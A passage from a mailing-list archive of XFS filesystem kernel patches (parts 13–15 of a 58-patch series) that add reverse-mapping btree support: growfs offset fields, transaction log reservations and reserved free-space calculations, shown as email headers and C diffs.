(Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974uE0C005417 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:56:14 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t974uDBx003221 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:56:13 GMT Received: from abhmp0009.oracle.com (abhmp0009.oracle.com [141.146.116.15]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t974uDqc005748; Wed, 7 Oct 2015 04:56:13 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:56:13 -0700 Subject: [PATCH 13/58] xfs: enhance rmap btree growfs support From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 13/58] xfs: enhance rmap btree growfs support To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:56:12 -0700 Message-ID: <20151007045612.30457.1731.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444193775 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Fill out the rmap offset fields. Signed-off-by: Darrick J. Wong --- fs/xfs/xfs_fsops.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c index 38c78da..119be0a 100644 --- a/fs/xfs/xfs_fsops.c +++ b/fs/xfs/xfs_fsops.c @@ -393,6 +393,7 @@ xfs_growfs_data_private( if (xfs_sb_version_hasrmapbt(&mp->m_sb)) { struct xfs_rmap_rec *rrec; struct xfs_btree_block *block; + bp = xfs_growfs_get_hdr_buf(mp, XFS_AGB_TO_DADDR(mp, agno, XFS_RMAP_BLOCK(mp)), BTOBB(mp->m_sb.sb_blocksize), 0, @@ -402,7 +403,7 @@ xfs_growfs_data_private( goto error0; } - xfs_btree_init_block(mp, bp, XFS_RMAP_CRC_MAGIC, 0, 2, + xfs_btree_init_block(mp, bp, XFS_RMAP_CRC_MAGIC, 0, 0, agno, XFS_BTREE_CRC_BLOCKS); block = XFS_BUF_TO_BLOCK(bp); @@ -420,6 +421,7 @@ xfs_growfs_data_private( rrec->rm_startblock = 0; rrec->rm_blockcount = cpu_to_be32(XFS_BNO_BLOCK(mp)); rrec->rm_owner = cpu_to_be64(XFS_RMAP_OWN_FS); + rrec->rm_offset = 0; be16_add_cpu(&block->bb_numrecs, 1); /* account freespace btree root blocks */ @@ -427,6 +429,7 @@ xfs_growfs_data_private( rrec->rm_startblock = cpu_to_be32(XFS_BNO_BLOCK(mp)); rrec->rm_blockcount = cpu_to_be32(2); rrec->rm_owner = cpu_to_be64(XFS_RMAP_OWN_AG); + rrec->rm_offset = 0; be16_add_cpu(&block->bb_numrecs, 1); /* account inode btree root blocks */ @@ -435,13 +438,15 @@ xfs_growfs_data_private( rrec->rm_blockcount = cpu_to_be32(XFS_RMAP_BLOCK(mp) - XFS_IBT_BLOCK(mp)); rrec->rm_owner = cpu_to_be64(XFS_RMAP_OWN_INOBT); + rrec->rm_offset = 0; be16_add_cpu(&block->bb_numrecs, 1); - /* account for rmap btree root */ + /* account for rmap btree root */ rrec = XFS_RMAP_REC_ADDR(block, 4); rrec->rm_startblock = cpu_to_be32(XFS_RMAP_BLOCK(mp)); rrec->rm_blockcount = cpu_to_be32(1); rrec->rm_owner = cpu_to_be64(XFS_RMAP_OWN_AG); + rrec->rm_offset = 0; be16_add_cpu(&block->bb_numrecs, 1); error = xfs_bwrite(bp); From darrick.wong@oracle.com Tue Oct 6 23:56:23 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B1FBD7F88 for ; Tue, 6 Oct 2015 23:56:23 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 42446AC009 for ; Tue, 6 Oct 2015 21:56:23 -0700 (PDT) X-ASG-Debug-ID: 1444193781-04bdf020db0e3b0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id DA08rIFsY0XpYSxB (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:56:21 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974uKA0005445 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:56:20 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t974uKu1019525 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:56:20 GMT Received: from abhmp0006.oracle.com (abhmp0006.oracle.com [141.146.116.12]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t974uKZG002833; Wed, 7 Oct 2015 04:56:20 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:56:19 -0700 Subject: [PATCH 14/58] xfs: rmap btree transaction reservations From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 14/58] xfs: rmap btree transaction reservations To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Dave Chinner Date: Tue, 06 Oct 2015 21:56:18 -0700 Message-ID: <20151007045618.30457.80527.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444193781 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines >From : Dave Chinner The rmap btrees will use the AGFL as the block allocation source, so we need to ensure that the transaction reservations reflect the fact this tree is modified by allocation and freeing. Hence we need to extend all the extent allocation/free reservations used in transactions to handle this. Note that this also gets rid of the unused XFS_ALLOCFREE_LOG_RES macro, as we now do buffer reservations based on the number of buffers logged via xfs_calc_buf_res(). Hence we only need the buffer count calculation now. Signed-off-by: Dave Chinner --- fs/xfs/libxfs/xfs_trans_resv.c | 56 ++++++++++++++++++++++++++++------------ fs/xfs/libxfs/xfs_trans_resv.h | 10 ------- 2 files changed, 39 insertions(+), 27 deletions(-) diff --git a/fs/xfs/libxfs/xfs_trans_resv.c b/fs/xfs/libxfs/xfs_trans_resv.c index 68cb1e7..d495f82 100644 --- a/fs/xfs/libxfs/xfs_trans_resv.c +++ b/fs/xfs/libxfs/xfs_trans_resv.c @@ -64,6 +64,28 @@ xfs_calc_buf_res( } /* + * Per-extent log reservation for the allocation btree changes + * involved in freeing or allocating an extent. When rmap is not enabled, + * there are only two trees that will be modified (free space trees), and when + * rmap is enabled there will be three (freespace + rmap trees). The number of + * blocks reserved is based on the formula: + * + * num trees * ((2 blocks/level * max depth) - 1) + */ +static uint +xfs_allocfree_log_count( + struct xfs_mount *mp, + uint num_ops) +{ + uint num_trees = 2; + + if (xfs_sb_version_hasrmapbt(&mp->m_sb)) + num_trees++; + + return num_ops * num_trees * (2 * mp->m_ag_maxlevels - 1); +} + +/* * Logging inodes is really tricksy. They are logged in memory format, * which means that what we write into the log doesn't directly translate into * the amount of space they use on disk. @@ -126,7 +148,7 @@ xfs_calc_inode_res( */ STATIC uint xfs_calc_finobt_res( - struct xfs_mount *mp, + struct xfs_mount *mp, int alloc, int modify) { @@ -137,7 +159,7 @@ xfs_calc_finobt_res( res = xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)); if (alloc) - res += xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + res += xfs_calc_buf_res(xfs_allocfree_log_count(mp, 1), XFS_FSB_TO_B(mp, 1)); if (modify) res += (uint)XFS_FSB_TO_B(mp, 1); @@ -188,10 +210,10 @@ xfs_calc_write_reservation( xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK), XFS_FSB_TO_B(mp, 1)) + xfs_calc_buf_res(3, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 2), XFS_FSB_TO_B(mp, 1))), (xfs_calc_buf_res(5, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 2), XFS_FSB_TO_B(mp, 1)))); } @@ -217,10 +239,10 @@ xfs_calc_itruncate_reservation( xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK) + 1, XFS_FSB_TO_B(mp, 1))), (xfs_calc_buf_res(9, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 4), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 4), XFS_FSB_TO_B(mp, 1)) + xfs_calc_buf_res(5, 0) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 1), XFS_FSB_TO_B(mp, 1)) + xfs_calc_buf_res(2 + mp->m_ialloc_blks + mp->m_in_maxlevels, 0))); @@ -247,7 +269,7 @@ xfs_calc_rename_reservation( xfs_calc_buf_res(2 * XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1))), (xfs_calc_buf_res(7, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 3), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 3), XFS_FSB_TO_B(mp, 1)))); } @@ -286,7 +308,7 @@ xfs_calc_link_reservation( xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1))), (xfs_calc_buf_res(3, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 1), XFS_FSB_TO_B(mp, 1)))); } @@ -324,7 +346,7 @@ xfs_calc_remove_reservation( xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1))), (xfs_calc_buf_res(4, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 2), XFS_FSB_TO_B(mp, 1)))); } @@ -371,7 +393,7 @@ xfs_calc_create_resv_alloc( mp->m_sb.sb_sectsize + xfs_calc_buf_res(mp->m_ialloc_blks, XFS_FSB_TO_B(mp, 1)) + xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 1), XFS_FSB_TO_B(mp, 1)); } @@ -399,7 +421,7 @@ xfs_calc_icreate_resv_alloc( return xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + mp->m_sb.sb_sectsize + xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 1), XFS_FSB_TO_B(mp, 1)) + xfs_calc_finobt_res(mp, 0, 0); } @@ -483,7 +505,7 @@ xfs_calc_ifree_reservation( xfs_calc_buf_res(1, 0) + xfs_calc_buf_res(2 + mp->m_ialloc_blks + mp->m_in_maxlevels, 0) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 1), XFS_FSB_TO_B(mp, 1)) + xfs_calc_finobt_res(mp, 0, 1); } @@ -513,7 +535,7 @@ xfs_calc_growdata_reservation( struct xfs_mount *mp) { return xfs_calc_buf_res(3, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 1), XFS_FSB_TO_B(mp, 1)); } @@ -535,7 +557,7 @@ xfs_calc_growrtalloc_reservation( xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK), XFS_FSB_TO_B(mp, 1)) + xfs_calc_inode_res(mp, 1) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 1), XFS_FSB_TO_B(mp, 1)); } @@ -611,7 +633,7 @@ xfs_calc_addafork_reservation( xfs_calc_buf_res(1, mp->m_dir_geo->blksize) + xfs_calc_buf_res(XFS_DAENTER_BMAP1B(mp, XFS_DATA_FORK) + 1, XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 1), XFS_FSB_TO_B(mp, 1)); } @@ -634,7 +656,7 @@ xfs_calc_attrinval_reservation( xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_ATTR_FORK), XFS_FSB_TO_B(mp, 1))), (xfs_calc_buf_res(9, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 4), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 4), XFS_FSB_TO_B(mp, 1)))); } @@ -701,7 +723,7 @@ xfs_calc_attrrm_reservation( XFS_BM_MAXLEVELS(mp, XFS_ATTR_FORK)) + xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK), 0)), (xfs_calc_buf_res(5, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 2), XFS_FSB_TO_B(mp, 1)))); } diff --git a/fs/xfs/libxfs/xfs_trans_resv.h b/fs/xfs/libxfs/xfs_trans_resv.h index 7978150..0eb46ed 100644 --- a/fs/xfs/libxfs/xfs_trans_resv.h +++ b/fs/xfs/libxfs/xfs_trans_resv.h @@ -68,16 +68,6 @@ struct xfs_trans_resv { #define M_RES(mp) (&(mp)->m_resv) /* - * Per-extent log reservation for the allocation btree changes - * involved in freeing or allocating an extent. - * 2 trees * (2 blocks/level * max depth - 1) * block size - */ -#define XFS_ALLOCFREE_LOG_RES(mp,nx) \ - ((nx) * (2 * XFS_FSB_TO_B((mp), 2 * (mp)->m_ag_maxlevels - 1))) -#define XFS_ALLOCFREE_LOG_COUNT(mp,nx) \ - ((nx) * (2 * (2 * (mp)->m_ag_maxlevels - 1))) - -/* * Per-directory log reservation for any directory change. * dir blocks: (1 btree block per level + data block + free block) * dblock size * bmap btree: (levels + 2) * max depth * block size From darrick.wong@oracle.com Tue Oct 6 23:56:37 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9773E7F5F for ; Tue, 6 Oct 2015 23:56:37 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 74A76304039 for ; Tue, 6 Oct 2015 21:56:37 -0700 (PDT) X-ASG-Debug-ID: 1444193795-04cb6c57850d440001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id VRWDDcjlAFZvSwwf (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:56:35 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974uYDY005590 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:56:34 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t974uXhC003727 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:56:33 GMT Received: from abhmp0009.oracle.com (abhmp0009.oracle.com [141.146.116.15]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t974uXOX005772; Wed, 7 Oct 2015 04:56:33 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:56:32 -0700 Subject: [PATCH 15/58] xfs: rmap btree requires more reserved free space From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 15/58] xfs: rmap btree requires more reserved free space To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Dave Chinner Date: Tue, 06 Oct 2015 21:56:25 -0700 Message-ID: <20151007045625.30457.21863.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444193795 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines >From : Dave Chinner The rmap btree is allocated from the AGFL, which means we have to ensure ENOSPC is reported to userspace before we run out of free space in each AG. The last allocation in an AG can cause a full height rmap btree split, and that means we have to reserve at least this many blocks *in each AG* to be placed on the AGFL at ENOSPC. Update the various space calculation functiosn to handle this. Also, because the macros are now executing conditional code and are called quite frequently, convert them to functions that initialise varaibles in the struct xfs_mount, use the new variables everywhere and document the calculations better. Signed-off-by: Dave Chinner --- fs/xfs/libxfs/xfs_alloc.c | 69 +++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/libxfs/xfs_alloc.h | 41 +++------------------------ fs/xfs/libxfs/xfs_bmap.c | 2 + fs/xfs/libxfs/xfs_sb.c | 2 + fs/xfs/xfs_discard.c | 2 + fs/xfs/xfs_fsops.c | 4 +-- fs/xfs/xfs_mount.c | 2 + fs/xfs/xfs_mount.h | 2 + fs/xfs/xfs_super.c | 2 + 9 files changed, 84 insertions(+), 42 deletions(-) diff --git a/fs/xfs/libxfs/xfs_alloc.c b/fs/xfs/libxfs/xfs_alloc.c index 3c55fa7..6fd9d3e 100644 --- a/fs/xfs/libxfs/xfs_alloc.c +++ b/fs/xfs/libxfs/xfs_alloc.c @@ -62,6 +62,72 @@ xfs_prealloc_blocks( } /* + * In order to avoid ENOSPC-related deadlock caused by out-of-order locking of + * AGF buffer (PV 947395), we place constraints on the relationship among actual + * allocations for data blocks, freelist blocks, and potential file data bmap + * btree blocks. However, these restrictions may result in no actual space + * allocated for a delayed extent, for example, a data block in a certain AG is + * allocated but there is no additional block for the additional bmap btree + * block due to a split of the bmap btree of the file. The result of this may + * lead to an infinite loop when the file gets flushed to disk and all delayed + * extents need to be actually allocated. To get around this, we explicitly set + * aside a few blocks which will not be reserved in delayed allocation. + * + * The minimum number of needed freelist blocks is 4 fsbs _per AG_ when we are + * not using rmap btrees a potential split of file's bmap btree requires 1 fsb, + * so we set the number of set-aside blocks to 4 + 4*agcount when not using rmap + * btrees. + * + * When rmap btrees are active, we have to consider that using the last block in + * the AG can cause a full height rmap btree split and we need enough blocks on + * the AGFL to be able to handle this. That means we have, in addition to the + * above consideration, another (2 * mp->m_ag_levels) - 1 blocks required to be + * available to the free list. + */ +unsigned int +xfs_alloc_set_aside( + struct xfs_mount *mp) +{ + unsigned int blocks; + + blocks = 4 + (mp->m_sb.sb_agcount * XFS_ALLOC_AGFL_RESERVE); + if (!xfs_sb_version_hasrmapbt(&mp->m_sb)) + return blocks; + return blocks + (mp->m_sb.sb_agcount * (2 * mp->m_ag_maxlevels) - 1); +} + +/* + * When deciding how much space to allocate out of an AG, we limit the + * allocation maximum size to the size the AG. However, we cannot use all the + * blocks in the AG - some are permanently used by metadata. These + * blocks are generally: + * - the AG superblock, AGF, AGI and AGFL + * - the AGF (bno and cnt) and AGI btree root blocks, and optionally + * the AGI free inode and rmap btree root blocks. + * - blocks on the AGFL according to xfs_alloc_set_aside() limits + * + * The AG headers are sector sized, so the amount of space they take up is + * dependent on filesystem geometry. The others are all single blocks. + */ +unsigned int +xfs_alloc_ag_max_usable(struct xfs_mount *mp) +{ + unsigned int blocks; + + blocks = XFS_BB_TO_FSB(mp, XFS_FSS_TO_BB(mp, 4)); /* ag headers */ + blocks += XFS_ALLOC_AGFL_RESERVE; + blocks += 3; /* AGF, AGI btree root blocks */ + if (xfs_sb_version_hasfinobt(&mp->m_sb)) + blocks++; /* finobt root block */ + if (xfs_sb_version_hasrmapbt(&mp->m_sb)) { + /* rmap root block + full tree split on full AG */ + blocks += 1 + (2 * mp->m_ag_maxlevels) - 1; + } + + return mp->m_sb.sb_agblocks - blocks; +} + +/* * Lookup the record equal to [bno, len] in the btree given by cur. */ STATIC int /* error */ @@ -1911,6 +1977,9 @@ xfs_alloc_min_freelist( /* space needed by-size freespace btree */ min_free += min_t(unsigned int, pag->pagf_levels[XFS_BTNUM_CNTi] + 1, mp->m_ag_maxlevels); + /* space needed reverse mapping used space btree */ + min_free += min_t(unsigned int, pag->pagf_levels[XFS_BTNUM_RMAPi] + 1, + mp->m_ag_maxlevels); return min_free; } diff --git a/fs/xfs/libxfs/xfs_alloc.h b/fs/xfs/libxfs/xfs_alloc.h index 95b161f..67e564e 100644 --- a/fs/xfs/libxfs/xfs_alloc.h +++ b/fs/xfs/libxfs/xfs_alloc.h @@ -56,42 +56,6 @@ typedef unsigned int xfs_alloctype_t; #define XFS_ALLOC_FLAG_FREEING 0x00000002 /* indicate caller is freeing extents*/ /* - * In order to avoid ENOSPC-related deadlock caused by - * out-of-order locking of AGF buffer (PV 947395), we place - * constraints on the relationship among actual allocations for - * data blocks, freelist blocks, and potential file data bmap - * btree blocks. However, these restrictions may result in no - * actual space allocated for a delayed extent, for example, a data - * block in a certain AG is allocated but there is no additional - * block for the additional bmap btree block due to a split of the - * bmap btree of the file. The result of this may lead to an - * infinite loop in xfssyncd when the file gets flushed to disk and - * all delayed extents need to be actually allocated. To get around - * this, we explicitly set aside a few blocks which will not be - * reserved in delayed allocation. Considering the minimum number of - * needed freelist blocks is 4 fsbs _per AG_, a potential split of file's bmap - * btree requires 1 fsb, so we set the number of set-aside blocks - * to 4 + 4*agcount. - */ -#define XFS_ALLOC_SET_ASIDE(mp) (4 + ((mp)->m_sb.sb_agcount * 4)) - -/* - * When deciding how much space to allocate out of an AG, we limit the - * allocation maximum size to the size the AG. However, we cannot use all the - * blocks in the AG - some are permanently used by metadata. These - * blocks are generally: - * - the AG superblock, AGF, AGI and AGFL - * - the AGF (bno and cnt) and AGI btree root blocks - * - 4 blocks on the AGFL according to XFS_ALLOC_SET_ASIDE() limits - * - * The AG headers are sector sized, so the amount of space they take up is - * dependent on filesystem geometry. The others are all single blocks. - */ -#define XFS_ALLOC_AG_MAX_USABLE(mp) \ - ((mp)->m_sb.sb_agblocks - XFS_BB_TO_FSB(mp, XFS_FSS_TO_BB(mp, 4)) - 7) - - -/* * Argument structure for xfs_alloc routines. * This is turned into a structure to avoid having 20 arguments passed * down several levels of the stack. @@ -131,6 +95,11 @@ typedef struct xfs_alloc_arg { #define XFS_ALLOC_USERDATA 1 /* allocation is for user data*/ #define XFS_ALLOC_INITIAL_USER_DATA 2 /* special case start of file */ +/* freespace limit calculations */ +#define XFS_ALLOC_AGFL_RESERVE 4 +unsigned int xfs_alloc_set_aside(struct xfs_mount *mp); +unsigned int xfs_alloc_ag_max_usable(struct xfs_mount *mp); + xfs_extlen_t xfs_alloc_longest_free_extent(struct xfs_mount *mp, struct xfs_perag *pag, xfs_extlen_t need); unsigned int xfs_alloc_min_freelist(struct xfs_mount *mp, diff --git a/fs/xfs/libxfs/xfs_bmap.c b/fs/xfs/libxfs/xfs_bmap.c index fef3767..e740ef5 100644 --- a/fs/xfs/libxfs/xfs_bmap.c +++ b/fs/xfs/libxfs/xfs_bmap.c @@ -3716,7 +3716,7 @@ xfs_bmap_btalloc( args.fsbno = ap->blkno; /* Trim the allocation back to the maximum an AG can fit. */ - args.maxlen = MIN(ap->length, XFS_ALLOC_AG_MAX_USABLE(mp)); + args.maxlen = MIN(ap->length, mp->m_ag_max_usable); args.firstblock = *ap->firstblock; blen = 0; if (nullfb) { diff --git a/fs/xfs/libxfs/xfs_sb.c b/fs/xfs/libxfs/xfs_sb.c index 42b5696..0103a75 100644 --- a/fs/xfs/libxfs/xfs_sb.c +++ b/fs/xfs/libxfs/xfs_sb.c @@ -732,6 +732,8 @@ xfs_sb_mount_common( mp->m_ialloc_min_blks = sbp->sb_spino_align; else mp->m_ialloc_min_blks = mp->m_ialloc_blks; + mp->m_alloc_set_aside = xfs_alloc_set_aside(mp); + mp->m_ag_max_usable = xfs_alloc_ag_max_usable(mp); } /* diff --git a/fs/xfs/xfs_discard.c b/fs/xfs/xfs_discard.c index e85a951..ec7bb8b 100644 --- a/fs/xfs/xfs_discard.c +++ b/fs/xfs/xfs_discard.c @@ -179,7 +179,7 @@ xfs_ioc_trim( * matter as trimming blocks is an advisory interface. */ if (range.start >= XFS_FSB_TO_B(mp, mp->m_sb.sb_dblocks) || - range.minlen > XFS_FSB_TO_B(mp, XFS_ALLOC_AG_MAX_USABLE(mp)) || + range.minlen > XFS_FSB_TO_B(mp, mp->m_ag_max_usable) || range.len < mp->m_sb.sb_blocksize) return -EINVAL; diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c index 